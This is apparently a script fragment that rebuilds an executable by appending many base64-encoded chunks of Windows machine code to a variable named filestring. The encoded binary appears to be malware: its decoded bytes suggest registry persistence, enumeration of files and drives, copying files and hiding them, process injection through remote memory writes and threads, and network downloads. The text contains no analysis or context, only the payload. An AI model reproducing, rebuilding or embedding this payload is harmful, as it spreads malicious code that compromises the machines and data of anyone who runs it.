filestring = filestring + "FfDAQABQ/xX0wEAAiYX0/f//i00YUYtVFFKLhfT9//9Q6Lz8//+DxAyJhfj9//9oqOdAAItNCFHocz4AAIPECGgAAgAAi5X0/f//Uo2F/P3//1DouD8AAIPEDMZF/ACNjfz9//9Ri1UIUuhBPgAAg8QIaLjnQACLRQhQ6DA+AACDxAjHhfD9//8AAgAA6xKLjfD9//+BwQACAACJjfD9//+LlfD9//87lfj9//99XGgAAgAAi4X0/f//A4Xw/f//UI2N/P3//1HoQz8AAIPEDMZF/ABovOdAAItVCFLozj0AAIPECI2F/P3//1CLTQhR6Ls9AACDxAho1OdAAItVCFLoqj0AAIPECOuEi4X0/f//UGoA/xXwwEAAUP8VBMFAAGjY50AAi00IUeiBPQAAg8QIaPznQACLVQhS6HA9AACDxAhoJOhAAItFCFDoXz0AAIPECGhU6EAAi00IUehOPQAAg8QIaHToQACLVQhS6D09AACDxAhohOhAAItFCFDo"
filestring = filestring + "LD0AAIPECGiY6EAAi00IUegbPQAAg8QIaMDoQACLVQhS6Ao9AACDxAhoDOlAAItFCFDo+TwAAIPECGhM6UAAi00IUejoPAAAg8QIaGDpQACLVQhS6Nc8AACDxAhobOlAAItFCFDoxjwAAIPECGh06UAAi00IUei1PAAAg8QIaJzpQACLVQhS6KQ8AACDxAhoxOlAAItFCFDokzwAAIPECGjQ6UAAi00IUeiCPAAAg8QIaNjpQACLVQhS6HE8AACDxAhoCOpAAItFCFDoYDwAAIPECGgQ6kAAi00IUehPPAAAg8QIaDzqQACLVQhS6D48AACDxAhoSOpAAItFCFDoLTwAAIPECGhQ6kAAi00IUegcPAAAg8QIaITqQACLVQhS6As8AACDxAhojOpAAItFCFDo+jsAAIPECGi46kAAi00IUejpOwAAg8QIaMTqQACLVQhS6Ng7AACDxAhozOpAAItFCFDoxzsAAIPECGgA60AAi00IUei2OwAAg8QIaAjr"
filestring = filestring + "QACLVQhS6KU7AACDxAhoNOtAAItFCFDolDsAAIPECGhA60AAi00IUeiDOwAAg8QIaEjrQACLVQhS6HI7AACDxAhofOtAAItFCFDoYTsAAIPECGiE60AAi00IUehQOwAAg8QIaJjrQACLVQhS6D87AACDxAhoxOtAAItFCFDoLjsAAIPECGgA7EAAi00IUegdOwAAg8QIaAjsQACLVQhS6Aw7AACDxAhoHOxAAItFCFDo+zoAAIPECGhI7EAAi00IUejqOgAAg8QIaITsQACLVQhS6Nk6AACDxAhojOxAAItFCFDoyDoAAIPECGig7EAAi00IUei3OgAAg8QIaMTsQACLVQhS6KY6AACDxAhoAO1AAItFCFDolToAAIPECGgI7UAAi00IUeiEOgAAg8QIaBDtQACLVQhS6HM6AACDxAhoKO1AAItFCFDoYjoAAIPECGhA7UAAi00IUehROgAAg8QIg30MAQ+FdgMAAGhM7UAAi1UIUug2OgAAg8QIaGzt"
filestring = filestring + "QACLRQhQ6CU6AACDxAhohO1AAItNCFHoFDoAAIPECGjM7UAAi1UIUugDOgAAg8QIaBTuQACLRQhQ6PI5AACDxAhoSO5AAItNCFHo4TkAAIPECGh47kAAi1UIUujQOQAAg8QIaKzuQACLRQhQ6L85AACDxAho4O5AAItNCFHorjkAAIPECGgk70AAi1UIUuidOQAAg8QIaGzvQACLRQhQ6Iw5AACDxAhosO9AAItNCFHoezkAAIPECGj470AAi1UIUuhqOQAAg8QIaEDwQACLRQhQ6Fk5AACDxAhoiPBAAItNCFHoSDkAAIPECGjQ8EAAi1UIUug3OQAAg8QIaFTxQACLRQhQ6CY5AACDxAholPFAAItNCFHoFTkAAIPECGic8UAAi1UIUugEOQAAg8QIaKjxQACLRQhQ6PM4AACDxAhoxPFAAItNCFHo4jgAAIPECGjc8UAAi1UIUujROAAAg8QIaCTyQACLRQhQ6MA4AACDxAhoWPJAAItNCFHorzgA"
filestring = filestring + "AIPECGig8kAAi1UIUuieOAAAg8QIaNDyQACLRQhQ6I04AACDxAhoBPNAAItNCFHofDgAAIPECGhI80AAi1UIUuhrOAAAg8QIaHjzQACLRQhQ6Fo4AACDxAhorPNAAItNCFHoSTgAAIPECGjs80AAi1UIUug4OAAAg8QIaDT0QACLRQhQ6Cc4AACDxAhoePRAAItNCFHoFjgAAIPECGjA9EAAi1UIUugFOAAAg8QIaAj1QACLRQhQ6PQ3AACDxAhoUPVAAItNCFHo4zcAAIPECGiY9UAAi1UIUujSNwAAg8QIaBz2QACLRQhQ6ME3AACDxAhoXPZAAItNCFHosDcAAIPECGh09kAAi1UIUuifNwAAg8QIaHz2QACLRQhQ6I43AACDxAiDfRABdWhoiPZAAItNCFHodzcAAIPECGik9kAAi1UIUuhmNwAAg8QIaLT2QACLRQhQ6FU3AACDxAhowPZAAItNCFHoRDcAAIPECGjg9kAAi1UIUugzNwAAg8QI"
filestring = filestring + "aPD2QACLRQhQ6CI3AACDxAjrSoN9EAJ1RGj89kAAi00IUegJNwAAg8QIaBz3QACLVQhS6Pg2AACDxAhoLPdAAItFCFDo5zYAAIPECGg890AAi00IUejWNgAAg8QI6ZwEAACDfQwCD4WSBAAAaEj3QACLVQhS6LY2AACDxAhoaPdAAItFCFDopTYAAIPECGiA90AAi00IUeiUNgAAg8QIaMj3QACLVQhS6IM2AACDxAho5PdAAItFCFDocjYAAIPECGgg+EAAi00IUehhNgAAg8QIaFj4QACLVQhS6FA2AACDxAhoiPhAAItFCFDoPzYAAIPECGjA+EAAi00IUeguNgAAg8QIaPT4QACLVQhS6B02AACDxAhoKPlAAItFCFDoDDYAAIPECGhs+UAAi00IUej7NQAAg8QIaLT5QACLVQhS6Oo1AACDxAho/PlAAItFCFDo2TUAAIPECGhI+kAAi00IUejINQAAg8QIaJD6QACLVQhS6Lc1AACDxAho2PpA"
filestring = filestring + "AItFCFDopjUAAIPECGgk+0AAi00IUeiVNQAAg8QIaGz7QACLVQhS6IQ1AACDxAhotPtAAItFCFDoczUAAIPECGgA/EAAi00IUehiNQAAg8QIaIT8QACLVQhS6FE1AACDxAhoyPxAAItFCFDoQDUAAIPECGjQ/EAAi00IUegvNQAAg8QIaNj8QACLVQhS6B41AACDxAho5PxAAItFCFDoDTUAAIPECGgE/UAAi00IUej8NAAAg8QIaBz9QACLVQhS6Os0AACDxAhocP1AAItFCFDo2jQAAIPECGiQ/UAAi00IUejJNAAAg8QIaND9QACLVQhS6Lg0AACDxAhoGP5AAItFCFDopzQAAIPECGhI/kAAi00IUeiWNAAAg8QIaHz+QACLVQhS6IU0AACDxAhoxP5AAItFCFDodDQAAIPECGgM/0AAi00IUehjNAAAg8QIaFT/QACLVQhS6FI0AACDxAhonP9AAItFCFDoQTQAAIPECGjk/0AAi00IUegwNAAA"
filestring = filestring + "g8QIaCwAQQCLVQhS6B80AACDxAhodABBAItFCFDoDjQAAIPECGi8AEEAi00IUej9MwAAg8QIaAQBQQCLVQhS6OwzAACDxAhoTAFBAItFCFDo2zMAAIPECGjQAUEAi00IUejKMwAAg8QIaBACQQCLVQhS6LkzAACDxAhoTAJBAItFCFDoqDMAAIPECGhcAkEAi00IUeiXMwAAg8QIaGQCQQCLVQhS6IYzAACDxAhocAJBAItFCFDodTMAAIPECGiQAkEAi00IUehkMwAAg8QIaKgCQQCLVQhS6FMzAACDxAho+AJBAItFCFDoQjMAAIPECGgYA0EAi00IUegxMwAAg8QIaFgDQQCLVQhS6CAzAACDxAhooANBAItFCFDoDzMAAIPECGj0A0EAi00IUej+MgAAg8QIaEAEQQCLVQhS6O0yAACDxAhoUARBAItFCFDo3DIAAIPECGhYBEEAi00IUejLMgAAg8QIg30QAXU1aGQEQQCLVQhS6LQyAACDxAho"
filestring = filestring + "iARBAItFCFDoozIAAIPECGiYBEEAi00IUeiSMgAAg8QI61uDfRACdVVopARBAItVCFLoeTIAAIPECGjEBEEAi0UIUOhoMgAAg8QIaNQEQQCLTQhR6FcyAACDxAho5ARBAItVCFLoRjIAAIPECGj0BEEAi0UIUOg1MgAAg8QIi+Vdw1WL7IHsRAQAAI2F0Pv//1BoAAVBAP8VAMJAAImF4Pv//4O94Pv//wB9CIPI/+lNAwAAjY3k+///UWg4wkAAagRqAI2V0Pv//1L/FQzCQACJheD7//+DveD7//8AfQq4/v///+kXAwAAjUXwUP8VLMFAAGoAaCQFQQCLjeT7//9RjVXwUmoC6PPh//+DxBSJheD7//9qAGg0BUEAi4Xk+///UGoAagHo0+H//4PEFIuN5Pv//4sRi4Xk+///UP9SCIO94Pv//wB9Crj9////6awCAABqAGoAaAABAACNjcD7//9Rav+LVfhSagBqAP8V6MBAAGhABUEAjYXw+///"
filestring = filestring + "UOgaMQAAg8QIjY3A+///UY2V8Pv//1LoFDEAAIPECGhcBUEAjYXw+///UOgAMQAAg8QIagCNjbz7//9RagBqA2oAaERCQQBqAI2V8Pv//1JoAQAAgP8VDMBAAIXAD4XXAAAAx4Xs+///AQAAAGoEjYXs+///UGoEagBobAVBAIuNvPv//1H/FQjAQABoiBMAAP8VhMBAAI2V6Pv//1KNhez7//9QagBqAGh0BUEAi428+///Uf8VBMBAAIXAdQmDvez7//8BdZvHhez7//8BAAAAagSNlez7//9SagRqAGh8BUEAi4W8+///UP8VCMBAAGiIEwAA/xWEwEAAjY3o+///UY2V7Pv//1JqAGoAaIgFQQCLhbz7//9Q/xUEwEAAhcB1CYO97Pv//wF1m4uNvPv//1H/FQDAQABolAVBAI2V8Pv//1Lo1S8AAIPECI2FwPv//1CNjfD7//9R6M8vAACDxAhosAVBAI2V8Pv//1Louy8AAIPECGoAjYW8+///"
filestring = filestring + "UGoAagNqAGhIQkEAagCNjfD7//9RaAEAAID/FQzAQACFwA+F1wAAAMeF7Pv//wEAAABqBI2V7Pv//1JqBGoAaMQFQQCLhbz7//9Q/xUIwEAAaIgTAAD/FYTAQACNjej7//9RjZXs+///UmoAagBozAVBAIuFvPv//1D/FQTAQACFwHUJg73s+///AXWbx4Xs+///AQAAAGoEjY3s+///UWoEagBo1AVBAIuVvPv//1L/FQjAQABoiBMAAP8VhMBAAI2F6Pv//1CNjez7//9RagBqAGjgBUEAi5W8+///Uv8VBMBAAIXAdQmDvez7//8BdZuLhbz7//9Q/xUAwEAAM8CL5V3DVYvsg+wYagBogAAAAGoDagBqAWgAAACAaDQ6QQD/FTzAQACJRfCDffD/dQiDyP/pVAEAAGoAi0XwUP8VKMBAAIlF9GoAagBqAGoCagCLTfBR/xUwwEAAiUX8g338AHUSi1XwUv8VIMBAAIPI/+kWAQAAagBqAGoAagSL"
filestring = filestring + "RfxQ/xUkwEAAiUXog33oAHUci038Uf8VIMBAAItV8FL/FSDAQACDyP/p3wAAAGoA/xUEwkAA6Mf7//+LRfSNjAAACAAAUWoA/xXwwEAAUP8V9MBAAIlF7ItV9FKLRehQagFqAYtN7FHoaO7//4PEFItV9I2EEgAIAABQagD/FfDAQABQ/xX0wEAAiUX4i030UYtV6FJqAWoCi0X4UOgz7v//g8QUi034UWoA6H7k//+DxAiLVexSagDoE9///4PECItF7FBqAP8V8MBAAFD/FQTBQACLTfhRagD/FfDAQABQ/xUEwUAA/xUIwkAAi1XoUv8VLMBAAItF/FD/FSDAQACLTfBR/xUgwEAAM8CL5V3CBABVi+yD7BRqAGiAAAAAagNqAGoBaAAAAICLRQxQ/xU8wEAAiUXwg33w/3UIg8j/6fYAAABqAGoAagBqAmoAi03wUf8VMMBAAIlF/IN9/AB1EotV8FL/FSDAQACDyP/pxwAAAGoAagBqAGoEi0X8"
filestring = filestring + "UP8VJMBAAIlF7IN97AB1HItN/FH/FSDAQACLVfBS/xUgwEAAg8j/6ZAAAABqAItFCFD/FUzAQACJRfiDffgAdQWDyP/rdmoAi03wUf8VKMBAAFCLVexSaAQIAABoeR4AAGhFHwAAi0X4UP8VOMBAAIlF9IN99AB1BYPI/+s+agCLTfhR/xU0wEAAhcB1BYPI/+spi1XsUv8VLMBAAItF/FD/FSDAQACLTfBR/xUgwEAAi1UIUuiMKAAAM8CL5V3DVYvsgexMAwAAi0UIUI2NtPz//1HoxysAAIPECGjsBUEAjZW0/P//UujDKwAAg8QIi0UUg+gBiUUUjY28/v//UY2VtPz//1L/FbDAQACJRfyDffz/D4QYAgAAi0UIUI2NuP3//1HodisAAIPECGj0BUEAjZW4/f//UuhyKwAAg8QIjYXo/v//UI2NuP3//1HoXCsAAIPECIuVvP7//4PiEIXSD4SKAAAAg30UAA+EgAAAAGj4BUEAjYXo/v//UOiN"
filestring = filestring + "KgAAg8QIhcB0Y2j8BUEAjY3o/v//Ueh1KgAAg8QIhcB0S2gABkEAjZXo/v//UujNfgAAg8QIhcB0M2gIBkEAjYXo/v//UOi1fgAAg8QIhcB0G4tNFFGLVRBSi0UMUI2NuP3//1Ho1v7//4PEEOkdAQAAaBAGQQCNlej+//9S6A0qAACDxAiFwA+EAQEAAIuFvP7//4PgAoXAD4XwAAAAaCAGQQCNjbj9//9R6GArAACDxASNlAW0/f//UujQKQAAg8QIhcB1GItFDFCNjbj9//9R6Prb//+DxAjpsAAAAGgoBkEAjZW4/f//UuggKwAAg8QEjYQFtP3//1DokCkAAIPECIXAdRWLTRBRjZW4/f//UugX4f//g8QI63NoMAZBAI2FuP3//1Do4yoAAIPEBI2MBbT9//9R6FMpAACDxAiFwHUWaDQ6QQCNlbj9//9S6L78//+DxAjrNWg4BkEAjYW4/f//UOilKgAAg8QEjYwFtP3//1HoFSkAAIPECIXA"
filestring = filestring + "dQ2Nlbj9//9S/xVIwEAAjYW8/v//UItN/FH/FUTAQACFwA+F8v3//4tV/FL/FUDAQACL5V3DVYvsg+wcx0XkAEAAAMdF+P////+NRehQi00IUWoAagBqAuiJKAAAiUXwg33wAHQHM8DpAAEAAItV5FJqQP8VUMBAAIlF/IN9/AB1BzPA6eQAAACLReRQagCLTfxR6LgtAACDxAyNVeRSi0X8UI1N+FGLVehS6DAoAACJRfSDffQAdXfHRewAAAAA6wmLReyDwAGJReyLTew7TfhzW4tV7MHiBYtF/ItMEAyD4QKD+QJ1IotVFFKLRRBQi00MUYtV7MHiBYtF/APCUOgx////g8QQ6yKLTRRRi1UQUotFDFCLTezB4QWLVfyLRAoUUOiX/P//g8QQ65TrC4F99AMBAAB0AusNgX30AwEAAA+FQf///4tN/FH/FWTAQACLVehS6H8nAACJRfCDffAAdAQzwOsFuAEAAACL5V3DVYvsg+w4jUXYUP8VYMBA"
filestring = filestring + "AItN3IHh//8AAIP5AnQii1XcgeL//wAAg/oEdBSLRdwl//8AAIP4BnQHM8DpbAIAAItN5oHh//8AAFHovC0AAIPEBOi+LQAAmbm0AAAA9/mDwjxp0mDqAABS/xWEwEAAagBogAAAAGoDagBqAWgAAACAaDQ6QQD/FTzAQACJRdSDfdT/dQiDyP/pDwIAAGoAi1XUUv8VKMBAAIlF7GoAagBqAGoCagCLRdRQ/xUwwEAAiUX8g338AHUSi03UUf8VIMBAAIPI/+nRAQAAagBqAGoAagSLVfxS/xUkwEAAiUXIg33IAHUci0X8UP8VIMBAAItN1FH/FSDAQACDyP/pmgEAAGoA/xUEwkAAi1XsjYQSAAgAAFBqAP8V8MBAAFD/FfTAQACJRcyLTexRi1XIUmoCagGLRcxQ6Jjn//+DxBSLTeyNlAkACAAAUmoA/xXwwEAAUP8V9MBAAIlF+ItF7FCLTchRagJqAotV+FLoY+f//4PEFGoAagD/FVzAQACJ"
filestring = filestring + "RfCDffAAD4SAAAAA/xXwwEAAiUXQi0XwUGoIi03QUf8V9MBAAIlF9ItV9FKLRfRQagCLTdBR/xVYwEAAUP8VXMBAAItV9A++AoXAdD+LTfRR/xVUwEAAiUXog33oA3UWagOLVfhSi0XMUItN9FHoTfr//4PEEGoAi1X0Uug/KwAAg8QIg8ABiUX067fo9SsAAJm5PAAAAPf5adJg6gAAUv8VhMBAAGoEi1X4UotFzFBqAOh//P//g8QQagCLTfhRi1XMUmhABkEA6PL5//+DxBCLRcxQagD/FfDAQABQ/xUEwUAAi034UWoA/xXwwEAAUP8VBMFAAP8VCMJAAItVyFL/FSzAQACLRfxQ/xUgwEAAi03UUf8VIMBAADPAi+VdwgQAVYvsgewgBAAAoUQGQQCJRfCLDUgGQQCJTfSLFUwGQQCJVfihUAZBAIlF/GoAagBqAGoAaFQGQQD/FWjBQACJReyDfewAD4QUAQAAagBoAAEAhI1N8FHoEiYAAIPE"
filestring = filestring + "BFCNVfBSi0UIUItN7FH/FWzBQACJReiDfegAD4TBAAAAx4Xg+///AQAAAGhkBkEAi1UMUuhrLAAAg8QIiUXkg33kAHR7g73g+///AHZkjYXg+///UGj/AwAAjY3k+///UYtV6FL/FXDBQACFwHUli0XkUOi2KwAAg8QEi03oUf8VdMFAAItV7FL/FXTBQACDyP/rcItF5FCLjeD7//9RagGNleT7//9S6HcqAACDxBDrk4tF5FDocysAAIPEBOsPi03oUf8VdMFAAIPI/+s1i1XoUv8VdMFAAMdF6AAAAADrD4tF7FD/FXTBQACDyP/rE4tN7FH/FXTBQADHRewAAAAAM8CL5V3DVYvsgewIBQAAaDg7QQCNhfz+//9Q6P4jAACDxAhoTOBAAI2N/P7//1Ho+iMAAIPECLoBAAAAhdIPhAsBAACNhfz+//9QaFzgQADoTP7//4PECIP4/3UNaGDqAAD/FYTAQADrWY2N/P7//1FoAAQAAI2V+Pr//1Jq"
filestring = filestring + "AGhoBkEAaGwGQQD/FYDAQACJhfj+//+Nhfz+//9Q/xVIwEAAg734/v//AH4YjY34+v//UYtVCFLoYyMAAIPECOmMAAAAaGDqAAD/FYTAQACNhfz+//9QaITgQADowv3//4PECIP4/3UNaGDqAAD/FYTAQADrVo2N/P7//1FoAAQAAI2V+Pr//1JqAGh0BkEAaHgGQQD/FYDAQACJhfj+//+Nhfz+//9Q/xVIwEAAg734/v//AH4VjY34+v//UYtVCFLo2SIAAIPECOsF6ej+//+L5V3DVYvsi0UQUItNCFHouyIAAIPECGiABkEAi1UIUui6IgAAg8QIaCA6QQCLRQhQ6KkiAACDxAhoiAZBAItNCFHomCIAAIPECGggNkEAi1UIUuiHIgAAg8QIaJQGQQCLRQhQ6HYiAACDxAhoIDJBAItNCFHoZSIAAIPECGigBkEAi1UIUuhUIgAAg8QIaKzgQACLRQhQ6EMiAACDxAiLTQhRi1UMUugjIgAAg8QI"
filestring = filestring + "aKwGQQCLRQxQ6CIiAACDxAhdw1WL7Lh4EAAA6KApAABoODtBAI2FkPj//1Do7yEAAIPECGhM4EAAjY2Q+P//UejrIQAAg8QIaEQ+QQDotv3//4PEBGhEPkEAjZWk+f//Uo2FiO///1Do6P7//4PEDI2NlPn//1H/FWzAQACNlaj9//9SjYWQ+P//UP8VsMBAAImFpP3//4O9pP3///8Phe0CAABowCcJAP8VhMBAAI2NkPj//1GNlYjv//9S6OH7//+DxAiD+P8Phb4AAACNhej+//9Q/xVswEAAi43w/v//geH//wAAi5Wc+f//geL//wAAO8p+HouF8P7//yX//wAAi42c+f//geH//wAAK8GD+AJ9PYuV8P7//4Hi//8AAIuFnPn//yX//wAAO9B9V4uN8P7//4Hh//8AAIPBGIuVnPn//4Hi//8AACvKg/kCfDVoRD5BAOis/P//g8QEaEQ+QQCNhaT5//9QjY2I7///Ueje/f//g8QMjZWU+f//"
filestring = filestring + "Uv8VbMBAAOkSAgAAjYWQ+P//UGgEAQAAjY2M9P//UWhMQkEAaLgGQQBowAZBAP8VgMBAAImFjPj//42VkPj//1L/FUjAQACDvYz4//8AD4++AAAAjYXo/v//UP8VbMBAAIuN8P7//4Hh//8AAIuVnPn//4Hi//8AADvKfh6LhfD+//8l//8AAIuNnPn//4Hh//8AACvBg/gCfT2LlfD+//+B4v//AACLhZz5//8l//8AADvQfVeLjfD+//+B4f//AACDwRiLlZz5//+B4v//AAAryoP5Anw1aEQ+QQDopvv//4PEBGhEPkEAjYWk+f//UI2NiO///1Ho2Pz//4PEDI2VlPn//1L/FWzAQADpDAEAAGjEBkEAjYWM9P//UOjtHgAAg8QIhcB1BenvAAAAai+NjYz0//9R6IMkAACDxAiJRfyDffwAdCyLVfyDwgFSjYWI8///UOhEHwAAg8QIai+NjYjz//9R6FMkAACDxAiJRfzrzmg4O0EAjZX4/v//"
filestring = filestring + "UugaHwAAg8QIaMwGQQCNhfj+//9Q6BYfAACDxAiNjYjz//9RjZX4/v//UugAHwAAg8QIjYX4/v//UI2NjPT//1HoXfn//4PECIP4/3UC606NlZD4//9SjYWk+f//UOhA+f//g8QIagGNjfj+//9R/xVowEAAjZWQ+P//Uv8VSMBAAI2FlPn//1D/FWzAQADrDY2NkPj//1H/FUjAQAC6AQAAAIXSD4XS/P//M8CL5V3CBABVi+yD7ByLRQiJRfyLTfyLEYlV7ItF/ItIBIlN9ItV/ItCCIlF+ItN/ItRDIlV6ItF/ItIEIlN5ItV/ItCFIlF8ItN/ItRGFJqAGj/Dx8A/1Xsi038iUEci1X8g3ocAHUFg8j/63xq/4tF/ItIHFH/VfSLVfyBwjADAABSi0X8g8AkUP9V+ItN/IlBIItV/IN6IP91H2oBi0X8g8AkUItN/IHBKAEAAFH/VeiFwHUFg8j/6y6LVfyLQiBQ/1XkhcB1BYPI/+sbagCLTfyB"
filestring = filestring + "wSwCAABR/1Xwg/gfdwWDyP/rAjPAi+VdwgQAVYvsuBgRAADoGCUAAFeh0AZBAImF+P7//4sN1AZBAImN/P7//4sV2AZBAImVAP///2ah3AZBAGaJhQT///+KDd4GQQCIjQb///+5PQAAADPAjb0H////86uqjZXo7v//UmgAEAAAjYXw7v//UOhBHAAAhcB1CIPI/+nmAAAAi43o7v//wekCiY30/v//x4Xs7v//AAAAAOsPi5Xs7v//g8IBiZXs7v//i4Xs7v//O4X0/v//D4OoAAAAi43s7v//i5SN8O7//1JqAGgQBAAA/xVwwEAAiYXw/v//g73w/v//AHR5jYXo7v//UGoEjU38UYuV8P7//1LosBsAAIXAdE9oBAEAAI2F+P7//1CLTfxRi5Xw/v//UuiKGwAAi0UIUI2N+P7//1HoOHAAAIPECIXAdRyLlfD+//9S/xUgwEAAi4Xs7v//i4SF8O7//+sUi43w/v//Uf8VIMBAAOk3////M8Bf"
filestring = filestring + "i+Vdw1WL7IHssAQAAGjgBkEAjUXEUOgFHAAAg8QIaPAGQQCNTdNR6PQbAACDxAjHRfQBAAAAugEAAACF0nRwi0X0g8ABiUX0i030geEBAACAeQVJg8n+QWvJD41UDcRS6Db+//+DxASJReSDfeT/dQczwOkaAgAAg33kAHUNaOgDAAD/FYTAQADrq4tF5FBqAGoq/xVwwEAAiUXog33oAHUNaOgDAAD/FYTAQADrh8dF7AAQAABqQGgAEAAAi03sUWoAi1XoUv8ViMBAAIlFwIN9wAB1EYtF6FD/FSDAQAAzwOmrAQAAagCLTexRaDNBQACLVcBSi0XoUP8V+MBAAIXAdRGLTehR/xUgwEAAM8DpfQEAAGhwBAAAagCNlVD7//9S6KgfAACDxAz/FfzAQACJhWj7//+LRQhQjY10+///UejZGgAAg8QIi1UMUo2FePz//1DoxhoAAIPECItNCFGNlXz9//9S6LMaAACDxAho/AZBAP8VfMBAAIlF/GgM"
filestring = filestring + "B0EAi0X8UP8VeMBAAImFUPv//2gYB0EAi038Uf8VeMBAAImFVPv//2gsB0EAi1X8Uv8VeMBAAImFWPv//2g8B0EAi0X8UP8VeMBAAImFXPv//2hIB0EAi038Uf8VeMBAAImFYPv//2hUB0EAi1X8Uv8VeMBAAImFZPv//8dF7HAEAABqBGgAEAAAi0XsUGoAi03oUf8ViMBAAIlF+IN9+AB1DotV6FL/FSDAQAAzwOthagCLRexQjY1Q+///UYtV+FKLRehQ/xX4wEAAhcB1DotN6FH/FSDAQAAzwOs0agBqAItV+FKLRcBQagBqAItN6FH/FXTAQACJRfCDffAAdQ6LVehS/xUgwEAAM8DrA4tF8IvlXcNVi+xRxkX8AOsIikX8BAGIRfwPvk38g/kafRaLVQiD4gGF0nQC6wqLRQjR6IlFCOvZD75F/IPAQYvlXcNVi+yB7GwEAACKRQiIhaT9///GhaX9//86xoWm/f//AI2NpP3//1GNlZz8//9S"
filestring = filestring + "6BsZAACDxAhoXAdBAI2FnPz//1DoFxkAAIPECI2NpP3//1GNlZT7//9S6PEYAACDxAhobAdBAI2FlPv//1Do7RgAAIPECGh8B0EAjY2w/f//UejJGAAAg8QIjZWc/P//Uo2FsP3//1BojAdBAGiUB0EA/xWYwEAAhcB0D2oHjY2c/P//Uf8VlMBAAI2VuP7//1KNhZT7//9Q/xWwwEAAiUX4g334/3U0/xWQwEAAg/gCdSdqAY2NlPv//1FoNDpBAP8VjMBAAIXAdA9qB42VlPv//1L/FZTAQADrCotF+FD/FUDAQABqAGiAAAAAagNqAGoBaAAAAIBoNDpBAP8VPMBAAImFqP3//4O9qP3///91CIPI/+mRAQAAagCLjaj9//9R/xUowEAAiYWs/f//agBqAGoAagJqAIuVqP3//1L/FTDAQACJRfyDffwAdRWLhaj9//9Q/xUgwEAAg8j/6UcBAABqAGoAagBqBItN/FH/FSTAQACJhZj8//+DvZj8"
filestring = filestring + "//8AdR+LVfxS/xUgwEAAi4Wo/f//UP8VIMBAAIPI/+kHAQAAagD/FQTCQACLjaz9//+NlAkACAAAUmoA/xXwwEAAUP8V9MBAAImFoP3//4uFrP3//1CLjZj8//9RagJqAYuVoP3//1Lo6Nf//4PEFIuFrP3//42MAAAIAABRagD/FfDAQABQ/xX0wEAAiYW0/v//i5Ws/f//UouFmPz//1BqAmoCi420/v//Ueik1///g8QUagCLlbT+//9Si4Wg/f//UI2NpP3//1Ho8Or//4PEEIuVoP3//1JqAP8V8MBAAFD/FQTBQACLhbT+//9QagD/FfDAQABQ/xUEwUAA/xUIwkAAi42Y/P//Uf8VLMBAAItV/FL/FSDAQACLhaj9//9Q/xUgwEAAM8CL5V3CBABVi+yD7AiLRQyJRfiBffgZAgAAdALrNYF9EACAAAB1LItNFIlN/GoAagCLVfyLQgxQ6K/8//+DxAQPvshRaFJGQABqAGoA/xWcwEAAi1UU"
filestring = filestring + "UotFEFCLTQxRi1UIUv8VSMFAAIvlXcIQAFWL7IPsTItFCIlF+MdF0AMAAADHRdQxSUAAx0XYAAAAAMdF3AAAAACLTfiJTeBoAH8AAGoA/xVUwUAAiUXkaAB/AABqAP8VRMFAAIlF6MdF7AYAAADHRfAAAAAAx0X0sOBAAI1V0FL/FWDBQABqAItF+FBqAGoAaAAAAIBoAAAAgGgAAACAaAAAAIBoAADPAGicB0EAaLDgQABqAP8VXMFAAIlF/GoAagBqAI1NtFH/FVjBQACFwHQWjVW0Uv8VUMFAAI1FtFD/FUzBQADr1otFvIvlXcIEAFWL7IHsYAUAAItFCImFrPz//2igB0EAjY2g+v//UegMFQAAg8QIaEA9QQCNlaD6//9S6AgVAACDxAhoODtBAI2F/P7//1Do5BQAAIPECGiwB0EAjY38/v//UejgFAAAg8QIugEAAACF0g+EygEAAGiIEwAA/xWEwEAAaAQBAACNhaj7//9QagBovAdBAGjA"
filestring = filestring + "B0EA/xWowEAAiYWw/P//g72w/P//AHQYaEA9QQCNjaj7//9R6FdoAACDxAiFwHQVaEA9QQBoyAdBAGjMB0EA/xWkwEAAjZX8/v//UmgEAQAAjYW0/P//UGoAaNQHQQBo3AdBAP8VgMBAAImFsPz//4O9sPz//wB0Go2NoPr//1GNlbT8//9S6PRnAACDxAiFwHQejYX8/v//UI2NoPr//1Fo5AdBAGjsB0EA/xWYwEAAjZW8/f//Umg8PEEA/xWwwEAAiYW4/f//g724/f///3Uw/xWQwEAAg/gCdSNqAWg8PEEAaDQ6QQD/FYzAQACFwHQNagdoPDxBAP8VlMBAAOsNi4W4/f//UP8VQMBAAI2NvP3//1FoQD1BAP8VsMBAAImFuP3//4O9uP3///91MP8VkMBAAIP4AnUjagFoQD1BAGg0OkEA/xWMwEAAhcB0DWoHaEA9QQD/FZTAQADrDYuVuP3//1L/FUDAQACNhaT7//9Qi42s/P//Uf8VoMBA"
filestring = filestring + "AIG9pPv//wMBAAB0GGg8PEEAaEA9QQDo6Pb//4PECImFrPz//+kp/v//M8CL5V3CBABVi+yB7GABAACNhbT+//9Qi00IUf8VsMBAAIlF9IN99P8PhSoBAAD/FZDAQACD+AIPhREBAABqAYtVCFJoNDpBAP8VjMBAAIXAdQiDyP/pgAEAAGoAaIAAAABqA2oAagJoAAAAQItFCFD/FTzAQACJhbD+//+DvbD+////dQiDyP/pTQEAAGoQagCNjaD+//9R6AgXAACDxAxmx4Wg/v//0gdmx4Wi/v//AQBmx4Wm/v//DABmx4Wk/v//BQBmx4Wo/v//AQCNVfhSjYWg/v//UP8VAMFAAIXAdQiDyP/p8AAAAI1N+FFqAI1V+FKLhbD+//9Q/xWswEAAhcB1FYuNsP7//1H/FSDAQACDyP/pwAAAAGoHi1UIUv8VlMBAAIXAdRWLhbD+//9Q/xUgwEAAg8j/6ZsAAACLjbD+//9R/xUgwEAA6wiDyP/phAAA"
filestring = filestring + "AOs1i1UIUmg0OkEA6P8QAACDxAiFwHQRagCLRQhQaDQ6QQD/FYzAQACLTfRR/xVAwEAAg8j/602NlbT+//9Si0UMUP8VsMBAAIlF9IN99P91Hv8VkMBAAIP4AnURagCLTQxRaDQ6QQD/FYzAQADrE4tV9FL/FUDAQACFwHUFg8j/6wIzwIvlXcNVi+yD7ByNReRQaij/FbTAQABQ/xUYwEAAhcB1AutfjU3oUWj0B0EAagD/FRTAQACFwHUMi1XkUv8VIMBAAOs+x0XwAQAAAItF6IlF9ItN7IlN+MdF/AIAAABqAGoAahCNVfBSagCLReRQ/xUQwEAAhcB1CotN5FH/FSDAQACL5V3DVYvsgex4BQAAx4W4+v//DAAAAMdF/AoAAACNhQz7//9QaAICAAD/FXzBQABogAAAAItNEFH/FYDBQACFwHQRaAgIQQCLVRBS6EgQAACDxAhqCmoAjYWg+v//UOjlFAAAg8QMagNoODtBAI2NoPr//1HoTxgA"
